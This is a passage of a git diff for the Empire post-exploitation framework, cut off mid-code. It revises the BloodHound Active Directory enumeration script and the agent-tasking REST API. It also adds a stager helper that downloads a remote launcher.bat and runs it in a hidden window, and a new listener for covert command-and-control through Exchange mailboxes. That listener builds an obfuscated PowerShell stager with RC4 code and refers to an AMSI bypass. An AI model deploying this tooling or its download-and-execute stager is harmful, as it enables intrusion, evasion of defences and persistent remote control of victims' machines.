$SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - } - catch { - Write-Warning "Error extracting domain from $SessionFromName" - } - } - elseif($_['SessionFrom']) { - $SessionFromName = $_['SessionFrom'] - $LoggedOnUser = "$($_['UserName'])@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - else { - # assume Get-NetLoggedOn result - $UserDomain = $_['UserDomain'] - $UserName = $_['UserName'] - try { - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } - - $SessionFromName = $_['ComputerName'] - - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - catch { - Write-Verbose "Error converting $UserDomain\$UserName : $_" - } - } + if($UserDomainMappings) { + $UserDomain = $Null + if($UserDomainMappings[$UserName]) { + if($UserDomainMappings[$UserName].Count -eq 1) { + $UserDomain = $UserDomainMappings[$UserName] + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") } - elseif($_['Type'] -eq 'LocalUser') { - $Parts = $_['AccountName'].split('\') - $UserDomain = $Parts[0] - $UserName = $Parts[-1] - - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } - - $ComputerName = $_['ComputerName'] - if($_['IsGroup']) { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") - } - else { - $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) - } - } - else { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) - } - } - } - - if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { - $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } - $JsonRequest = ConvertTo-Json20 $Json - $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) - $Statements.Clear() + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } - } - catch { - Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" - } - finally { - $PS[$y].Dispose() - $PS[$y] = $Null - $Jobs[$y] = $Null - } - } - } - $MovingWindow = $Counter-$Threads-200 - } + else { + $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - # create a "powershell pipeline runner" - $PS += [PowerShell]::Create() - $PS[$Counter].RunspacePool = $Pool - - # add the script block + arguments - $Null = $PS[$Counter].AddScript($HostEnumBlock).AddParameter('ComputerName', $($ComputerResult.Properties['dnshostname'])) - - ForEach ($Param in $ScriptParameters.GetEnumerator()) { - $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) - } - - # start job - $Jobs += $PS[$Counter].BeginInvoke() - $Counter += 1 - } - $ComputerSearcher.Dispose() - [GC]::Collect() - } - } - } - } - - END { - - if ($TargetDomains -and (-not $SkipComputerEnumeration)) { - Write-Output "Waiting for Invoke-BloodHound threads to finish..." - Start-Sleep -Seconds 30 - - for ($y = 0; $y -lt $Counter; $y++) { - if($Jobs[$y] -and ($Jobs[$y].IsCompleted)) { - try { - # complete async job - $PS[$y].EndInvoke($Jobs[$y]) | ForEach-Object { - if($_['Type'] -eq 'UserSession') { - if($_['SessionFromName']) { - try { - $SessionFromName = $_['SessionFromName'] - $UserName = $_['UserName'].ToUpper() - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - if($UserDomainMappings) { - $UserDomain = $Null - if($UserDomainMappings[$UserName]) { - if($UserDomainMappings[$UserName].Count -eq 1) { - $UserDomain = $UserDomainMappings[$UserName] + $UserDomainMappings[$UserName] | ForEach-Object { + # for multiple GC results, set a weight of 1 for the same domain as the target computer + if($_ -eq $ComputerDomain) { + $UserDomain = $_ $LoggedOnUser = "$UserName@$UserDomain" if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") @@ -5552,112 +5767,61 @@ function Invoke-BloodHound { $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } + # and set a weight of 2 for all other users in additional domains else { - $ComputerDomain = $_['SessionFromName'].SubString($_['SessionFromName'].IndexOf('.')+1).ToUpper() - - $UserDomainMappings[$UserName] | ForEach-Object { - # for multiple GC results, set a weight of 1 for the same domain as the target computer - if($_ -eq $ComputerDomain) { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - # and set a weight of 2 for all other users in additional domains - else { - $UserDomain = $_ - $LoggedOnUser = "$UserName@$UserDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } + $UserDomain = $_ + $LoggedOnUser = "$UserName@$UserDomain" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) } } } - else { - # no user object in the GC with this username, so set the domain to "UNKNOWN" - $LoggedOnUser = "$UserName@UNKNOWN" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) - } - } + } + } + else { + # no user object in the GC with this username, so set the domain to "UNKNOWN" + $LoggedOnUser = "$UserName@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") } else { - # if not using GC mappings, set the weight to 2 - $LoggedOnUser = "$UserName@$ComputerDomain" - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)" } ) } } - catch { - Write-Warning "Error extracting domain from $SessionFromName" - } } - elseif($_['SessionFrom']) { - $SessionFromName = $_['SessionFrom'] - $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + else { + # if not using GC mappings, set the weight to 2 + $LoggedOnUser = "$UserName@$ComputerDomain" if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") } else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) - } - } - else { - # assume Get-NetLoggedOn result - $UserDomain = $_['UserDomain'] - $UserName = $_['UserName'] - try { - if($DomainShortnameMappings[$UserDomain]) { - # in case the short name mapping is 'cached' - $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" - } - else { - $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' - - if($MemberSimpleName) { - $MemberDomain = $MemberSimpleName.Split('/')[0] - $AccountName = "$UserName@$MemberDomain" - $DomainShortnameMappings[$UserDomain] = $MemberDomain - } - else { - $AccountName = "$UserName@UNKNOWN" - } - } - - $SessionFromName = $_['ComputerName'] - - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) - } - } - catch { - Write-Verbose "Error converting $UserDomain\$UserName : $_" + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$LoggedOnUser') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) } } } - elseif($_['Type'] -eq 'LocalUser') { - $Parts = $_['AccountName'].split('\') - $UserDomain = $Parts[0] - $UserName = $Parts[-1] - + catch { + Write-Warning "Error extracting domain from $SessionFromName" + } + } + elseif($_['SessionFrom']) { + $SessionFromName = $_['SessionFrom'] + $LoggedOnUser = "$($_['UserName'])@UNKNOWN" + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$LoggedOnUser`",`"2`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER(`"$LoggedOnUser`") }) MERGE (computer:Computer { name: UPPER(`"$SessionFromName`") }) MERGE (computer)-[:HasSession {Weight: '2'}]->(user)"} ) + } + } + else { + # assume Get-NetLoggedOn result + $UserDomain = $_['UserDomain'] + $UserName = $_['UserName'] + try { if($DomainShortnameMappings[$UserDomain]) { # in case the short name mapping is 'cached' $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" @@ -5675,46 +5839,74 @@ function Invoke-BloodHound { } } - $ComputerName = $_['ComputerName'] - if($_['IsGroup']) { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") - } - else { - $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) - } + $SessionFromName = $_['ComputerName'] + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $SessionWriter.WriteLine("`"$SessionFromName`",`"$AccountName`",`"1`"") } else { - if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { - $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") - } - else { - $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) - } + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$SessionFromName') }) MERGE (computer)-[:HasSession {Weight: '1'}]->(user)" } ) } } - - if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { - $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } - $JsonRequest = ConvertTo-Json20 $Json - $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) - $Statements.Clear() + catch { + Write-Verbose "Error converting $UserDomain\$UserName : $_" } } } - catch { - Write-Verbose "Error ending Invoke-BloodHound thread $y : $_" + elseif($_['Type'] -eq 'LocalUser') { + $Parts = $_['AccountName'].split('\') + $UserDomain = $Parts[0] + $UserName = $Parts[-1] + + if($DomainShortnameMappings[$UserDomain]) { + # in case the short name mapping is 'cached' + $AccountName = "$UserName@$($DomainShortnameMappings[$UserDomain])" + } + else { + $MemberSimpleName = "$UserDomain\$UserName" | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + + if($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('/')[0] + $AccountName = "$UserName@$MemberDomain" + $DomainShortnameMappings[$UserDomain] = $MemberDomain + } + else { + $AccountName = "$UserName@UNKNOWN" + } + } + + $ComputerName = $_['ComputerName'] + if($_['IsGroup']) { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"group`"") + } + else { + $Null = $Statements.Add( @{ "statement"="MERGE (group:Group { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (group)-[:AdminTo]->(computer)" } ) + } + } + else { + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + $LocalAdminWriter.WriteLine("`"$ComputerName`",`"$AccountName`",`"user`"") + } + else { + $Null = $Statements.Add( @{"statement"="MERGE (user:User { name: UPPER('$AccountName') }) MERGE (computer:Computer { name: UPPER('$ComputerName') }) MERGE (user)-[:AdminTo]->(computer)" } ) + } + } } - finally { - $PS[$y].Dispose() - $PS[$y] = $Null - $Jobs[$y] = $Null + + if (($PSCmdlet.ParameterSetName -eq 'RESTAPI') -and ($Statements.Count -ge $Throttle)) { + $Json = @{ "statements"=[System.Collections.Hashtable[]]$Statements } + $JsonRequest = ConvertTo-Json20 $Json + $Null = $WebClient.UploadString($URI.AbsoluteUri + "db/data/transaction/commit", $JsonRequest) + $Statements.Clear() + [GC]::Collect() } } } - $Pool.Dispose() - Write-Output "All threads completed!" } + } + + END { if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { if($SessionWriter) { @@ -5725,7 +5917,10 @@ function Invoke-BloodHound { $GroupWriter.Dispose() $GroupFileStream.Dispose() } - + if($ACLWriter) { + $ACLWriter.Dispose() + $ACLFileStream.Dispose() + } if($LocalAdminWriter) { $LocalAdminWriter.Dispose() $LocalAdminFileStream.Dispose() @@ -5849,4 +6044,4 @@ $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -Set-Alias Get-BloodHoundData Invoke-BloodHound \ No newline at end of file +Set-Alias Get-BloodHoundData Invoke-BloodHound diff --git a/empire b/empire index 539c978..ae980db 100755 --- a/empire +++ b/empire @@ -500,21 +500,21 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agent in main.agents.get_agents(): sessionID = agent[1] - main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) + taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) msg = "tasked agent %s to run module %s" %(sessionID, module_name) main.agents.save_agent_log(sessionID, msg) msg = "tasked all agents to run module %s" %(module_name) - return jsonify({'success': True, 'msg':msg}) + return jsonify({'success': True, 'taskID': taskID, 'msg':msg}) else: # set the agent's tasking in the cache - main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) + taskID = main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) # update the agent log msg = "tasked agent %s to run module %s" %(sessionID, module_name) main.agents.save_agent_log(sessionID, msg) - return jsonify({'success': True, 'msg':msg}) + return jsonify({'success': True, 'taskID': taskID, 'msg':msg}) @app.route('/api/modules/search', methods=['POST']) @@ -865,12 +865,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agentNameID in agentNameIDs: [agentName, agentSessionID] = agentNameID - agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID]) + agentResults = execute_db_query(conn, 'SELECT id, agent, data FROM results WHERE agent=?', [agentSessionID]) for result in agentResults: - [agent, data] = result - agentTaskResults.append({"agentname":result[0], "results":result[1]}) + [resultid, agent, data] = result + agentTaskResults.append({"taskID": result[0], "agentname": result[1], "results": result[2]}) + return jsonify({'results': agentTaskResults}) @@ -959,10 +960,9 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password # add task command to agent taskings msg = "tasked agent %s to run command %s" %(agentSessionID, command) main.agents.save_agent_log(agentSessionID, msg) - main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command) - - return jsonify({'success': True}) + taskID = main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command) + return jsonify({'success': True, 'taskID': taskID}) @app.route('/api/agents//rename', methods=['POST']) def task_agent_rename(agent_name): @@ -1238,7 +1238,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password signal.signal(signal.SIGINT, signal_handler) # wrap the Flask connection in SSL and start it - context = ('./data/empire.pem', './data/empire.pem') + context = ('./data/empire-chain.pem', './data/empire-priv.key') app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True) diff --git a/lib/common/agents.py b/lib/common/agents.py index 533a068..f384292 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1041,14 +1041,14 @@ class Agents: if pk is None: pk = 0 pk = (pk + 1) % 65536 - taskID = cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]).lastrowid + cur.execute("INSERT INTO taskings (id, agent, data) VALUES(?, ?, ?)", [pk, sessionID, task[:100]]) # append our new json-ified task and update the backend - agent_tasks.append([taskName, task, taskID]) + agent_tasks.append([taskName, task, pk]) cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID]) # report the agent tasking in the reporting database - cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), taskID)) + cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp,taskID) VALUES (?,?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime(), pk)) cur.close() @@ -1058,7 +1058,7 @@ class Agents: f.write(task) f.close() - return taskID + return pk finally: self.lock.release() diff --git a/lib/common/stagers.py b/lib/common/stagers.py index b06761b..69d1477 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -75,6 +75,14 @@ class Stagers: if stagerOption == option: stager.options[option]['Value'] = str(value) + def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '): + #TODO add handle for other than powershell language + stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;' + if encode: + return helpers.powershell_launcher(stager, launcher) + else: + return stager + def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'): """ @@ -450,4 +458,4 @@ class Stagers: jarfile.close() os.remove('Run.jar') - return jar \ No newline at end of file + return jar diff --git a/lib/listeners/http.py b/lib/listeners/http.py index d32c884..e7a3119 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -845,7 +845,8 @@ def send_message(packets=None): host = listenerOptions['Host']['Value'] if certPath.strip() != '' and host.startswith('https'): certPath = os.path.abspath(certPath) - app.run(host=bindIP, port=int(port), threaded=True, ssl_context=(certPath,certPath)) + context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath)) + app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) else: app.run(host=bindIP, port=int(port), threaded=True) diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py index 1147eb8..5ebc430 100644 --- a/lib/listeners/http_com.py +++ b/lib/listeners/http_com.py @@ -598,7 +598,8 @@ class Listener: certPath = listenerOptions['CertPath']['Value'] host = listenerOptions['Host']['Value'] if certPath.strip() != '' and host.startswith('https'): - context = ("%s/data/empire.pem" % (self.mainMenu.installPath), "%s/data/empire.pem" % (self.mainMenu.installPath)) + certPath = os.path.abspath(certPath) + context = ("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath)) app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context) else: app.run(host=bindIP, port=int(port), threaded=True) diff --git a/lib/listeners/http_mapi.py b/lib/listeners/http_mapi.py new file mode 100644 index 0000000..08f2aff --- /dev/null +++ b/lib/listeners/http_mapi.py @@ -0,0 +1,626 @@ +import logging +import base64 +import random +import os +import time +import copy +from pydispatch import dispatcher +from flask import Flask, request, make_response + +# Empire imports +from lib.common import helpers +from lib.common import agents +from lib.common import encryption +from lib.common import packets +from lib.common import messages + + +class Listener: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'HTTP[S] + MAPI', + + 'Author': ['@harmj0y','@_staaldraad'], + + 'Description': ('Starts a http[s] listener (PowerShell) which can be used with Liniaal for C2 through Exchange'), + + 'Category' : ('client_server'), + + 'Comments': ['This requires the Liniaal agent to translate messages from MAPI to HTTP. More info: https://github.com/sensepost/liniaal'] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + + 'Name' : { + 'Description' : 'Name for the listener.', + 'Required' : True, + 'Value' : 'mapi' + }, + 'Host' : { + 'Description' : 'Hostname/IP for staging.', + 'Required' : True, + 'Value' : "http://%s:%s" % (helpers.lhost(), 80) + }, + 'BindIP' : { + 'Description' : 'The IP to bind to on the control server.', + 'Required' : True, + 'Value' : '0.0.0.0' + }, + 'Port' : { + 'Description' : 'Port for the listener.', + 'Required' : True, + 'Value' : 80 + }, + 'StagingKey' : { + 'Description' : 'Staging key for initial agent negotiation.', + 'Required' : True, + 'Value' : '2c103f2c4ed1e59c0b4e2e01821770fa' + }, + 'DefaultDelay' : { + 'Description' : 'Agent delay/reach back interval (in seconds).', + 'Required' : True, + 'Value' : 0 + }, + 'DefaultJitter' : { + 'Description' : 'Jitter in agent reachback interval (0.0-1.0).', + 'Required' : True, + 'Value' : 0.0 + }, + 'DefaultLostLimit' : { + 'Description' : 'Number of missed checkins before exiting', + 'Required' : True, + 'Value' : 60 + }, + 'DefaultProfile' : { + 'Description' : 'Default communication profile for the agent.', + 'Required' : True, + 'Value' : "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + }, + 'CertPath' : { + 'Description' : 'Certificate path for https listeners.', + 'Required' : False, + 'Value' : '' + }, + 'KillDate' : { + 'Description' : 'Date for the listener to exit (MM/dd/yyyy).', + 'Required' : False, + 'Value' : '' + }, + 'WorkingHours' : { + 'Description' : 'Hours for the agent to operate (09:00-17:00).', + 'Required' : False, + 'Value' : '' + }, + 'ServerVersion' : { + 'Description' : 'TServer header for the control server.', + 'Required' : True, + 'Value' : 'Microsoft-IIS/7.5' + }, + 'Folder' : { + 'Description' : 'The hidden folder in Exchange to user', + 'Required' : True, + 'Value' : 'Liniaal' + }, + 'Email' : { + 'Description' : 'The email address of our target', + 'Required' : False, + 'Value' : '' + } + } + + # required: + self.mainMenu = mainMenu + self.threads = {} + + # optional/specific for this module + self.app = None + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + # set the default staging key to the controller db default + self.options['StagingKey']['Value'] = str(helpers.get_config('staging_key')[0]) + + + def default_response(self): + """ + Returns a default HTTP server page. + """ + page = "

It works!

" + page += "

This is the default web page for this server.

" + page += "

The web server software is running but no content has been added, yet.

" + page += "" + return page + + + def validate_options(self): + """ + Validate all options for this listener. + """ + + self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + + for key in self.options: + if self.options[key]['Required'] and (str(self.options[key]['Value']).strip() == ''): + print helpers.color("[!] Option \"%s\" is required." % (key)) + return False + + return True + + + def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): + """ + Generate a basic launcher for the specified listener. + """ + + if not language: + print helpers.color('[!] listeners/http generate_launcher(): no language specified!') + + if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): + + # extract the set options for this instantiated listener + listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] + host = listenerOptions['Host']['Value'] + stagingKey = listenerOptions['StagingKey']['Value'] + profile = listenerOptions['DefaultProfile']['Value'] + uris = [a for a in profile.split('|')[0].split(',')] + stage0 = random.choice(uris) + + if language.startswith('po'): + # PowerShell + + stager = '' + if safeChecks.lower() == 'true': + # @mattifestation's AMSI bypass + stager = helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";') + stager += "$outlook = New-Object -comobject Outlook.Application;" + stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("') + stager += 'MAPI");' + if listenerOptions['Email']['Value'] != '': + stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};' + stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};' + else: + stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");' + stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' + # clear out all existing mails/messages + + stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}") + # code to turn the key string into a byte array + stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") + stager += "'%s');" % (stagingKey) + + # this is the minimized RC4 stager code from rc4.ps1 + stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') + b64RoutingPacket = base64.b64encode(routingPacket) + + # add the RC4 packet to a cookie + stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "') + stager += 'mailpireout";' + stager += helpers.randomize_capitalization('$mail.Body = ') + stager += '"STAGE - %s"' % b64RoutingPacket + stager += helpers.randomize_capitalization(';$mail.save() | out-null;') + stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;') + stager += helpers.randomize_capitalization('$break = $False; $data = "";') + stager += helpers.randomize_capitalization("While ($break -ne $True){") + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;') + stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}') + + stager += 